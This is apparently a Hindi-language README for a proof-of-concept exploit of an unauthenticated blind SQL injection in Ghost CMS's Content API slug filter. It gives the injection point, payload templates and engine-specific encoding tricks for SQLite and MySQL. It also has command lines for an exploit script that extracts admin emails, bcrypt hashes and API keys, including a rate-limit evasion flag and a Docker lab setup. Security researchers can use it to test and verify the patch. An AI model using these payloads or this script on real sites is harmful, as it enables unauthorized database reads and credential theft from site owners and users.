
Ghost CMS Content API ब्लाइंड SQL इंजेक्शन
प्रभावित: Ghost 3.24.0 – 6.19.0
फिक्स किया गया: Ghost 6.19.1
प्रमाणीकरण आवश्यक: कोई नहीं — Content API कुंजी सार्वजनिक है
प्रभाव: संपूर्ण डेटाबेस का अनधिकृत पठन (क्रेडेंशियल्स, API कुंजियाँ)
slug-filter-order.js उपयोगकर्ता द्वारा प्रदान किए गए slug मानों को सीधे एक कच्चे SQL ORDER BY क्लॉज में इंटरपोलेट करता है, बजाय पैरामीटराइज्ड बाइंडिंग के उपयोग के।
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
// ^^^^^^^^^^^ raw string interpolation
// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);
इंजेक्शन बिंदु:
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]
पेलोड टेम्पलेट:
slug:['||<SQL_EXPR>||',<anchor-slug>]
इंजेक्ट किया गया एक्सप्रेशन एक त्रुटि-आधारित बूलियन ओरेकल के रूप में कार्य करता है।
| इंजन | सत्य | असत्य |
|---|---|---|
| SQLite | hex(randomblob(10^15)) → OOM → HTTP 500 | ELSE 0 → HTTP 200 |
| MySQL | THEN 0 → HTTP 200 | EXP(710) overflow → HTTP 500 |
NQL बाधाएँ — कोष्ठक के अंदर SQL एक्सप्रेशन में सिंगल कोट्स (') या कॉमा (,) नहीं होना चाहिए:
| समस्या | SQLite समाधान | MySQL समाधान |
|---|---|---|
स्ट्रिंग लिटरल 'content' | CHAR(99)||CHAR(111)||... | 0x636F6E74656E74 |
| स्थिति N पर वर्ण | उपसर्ग-आधारित स्ट्रिंग तुलना | ASCII(SUBSTR(x FROM N FOR 1)) |
||SQLite में स्ट्रिंग संयोजन है लेकिन MySQL में लॉजिकल OR — स्ट्रिंग लिटरल को प्रति इंजन अलग-अलग एन्कोड किया जाना चाहिए।
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]
आवश्यक:
--url URL Ghost बेस URL (जैसे http://localhost:2368)
--key KEY Content API कुंजी
वैकल्पिक:
--slug SLUG एंकर स्लग (यदि छोड़ा गया तो API से स्वचालित रूप से खोजा जाएगा)
--dbms {auto,sqlite,mysql} DB इंजन (डिफ़ॉल्ट: स्वचालित पहचान)
--delay N अनुरोधों के बीच सेकंड — HTTP 429 से बचने के लिए उपयोग करें (डिफ़ॉल्ट: 0)
--proxy URL HTTP प्रॉक्सी (जैसे http://127.0.0.1:8080) (डिफ़ॉल्ट: कोई नहीं)
--validate-fix जांचें कि लक्ष्य पैच किया गया है या नहीं, फिर बाहर निकलें
डेटा फ़्लैग्स (कम से कम एक आवश्यक):
--email उपयोगकर्ता ईमेल
--hash उपयोगकर्ता bcrypt हैश
--content-key Content API कुंजी(याँ)
--admin-key Admin API कुंजी(याँ)
--all --email --hash --content-key --admin-key का संक्षिप्त रूप
संशोधक:
--all-records चयनित फ़्लैग के लिए सभी रिकॉर्ड निकालें, केवल पहला नहीं
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--email --hash --no-proxy
# Extract everything, first record each
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --no-proxy
# Extract all Content API keys
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--content-key --all-records
# Extract ALL records of ALL data types
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --all-records
# Route through Burp proxy
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --proxy http://127.0.0.1:8080
# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
--url http://target.com \
--key <content_api_key> \
--all --dbms mysql --delay 0.5
# Verify the patched version is not exploitable
python3 exploit/exploit.py \
--url http://localhost:2369 \
--key <content_api_key> \
--validate-fix
Ghost डिफ़ॉल्ट रूप से Content API अनुरोधों को दर-सीमा करता है। विकल्प:
--delay 0.5 पास करेंAPI_RATE_LIMIT_ENABLED: "false" सेट करें और पुनरारंभ करेंslug-filter-order.js in Ghost 6.18.0 → 6.19.1केवल संदर्भ के लिए — यदि आपके पास पहले से एक कमजोर Ghost इंस्टेंस है तो छोड़ें।
pip install requestsghost-cve-2026-26980/
├── mysql_docker-compose.yml # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml # Ghost + SQLite (default)
├── mysql-init/
│ └── 01-init.sql # creates ghost_patch DB, grants access
├── vulnerable/
│ └── Dockerfile # Ghost 6.18.0
├── patched/
│ └── Dockerfile # Ghost 6.19.1
└── exploit/
└── exploit.py
दोनों कंपोज़ फ़ाइलें उजागर करती हैं:
http://localhost:2368 — कमजोर (Ghost 6.18.0)http://localhost:2369 — पैच किया गया (Ghost 6.19.1)docker compose -f sqlite_docker-compose.yml up -d
docker compose -f mysql_docker-compose.yml up -d
MySQL क्रेडेंशियल्स: host=localhost:3306 user=ghost password=ghostpass
डेटाबेस: ghost_vuln (पोर्ट 2368) / ghost_patch (पोर्ट 2369)
Ghost को प्रारंभ होने में ~60 सेकंड प्रतीक्षा करें, फिर:
http://localhost:2368/ghost पर जाएं — एक व्यवस्थापक खाता बनाएं और कम से कम एक पोस्ट प्रकाशित करें# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d
# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d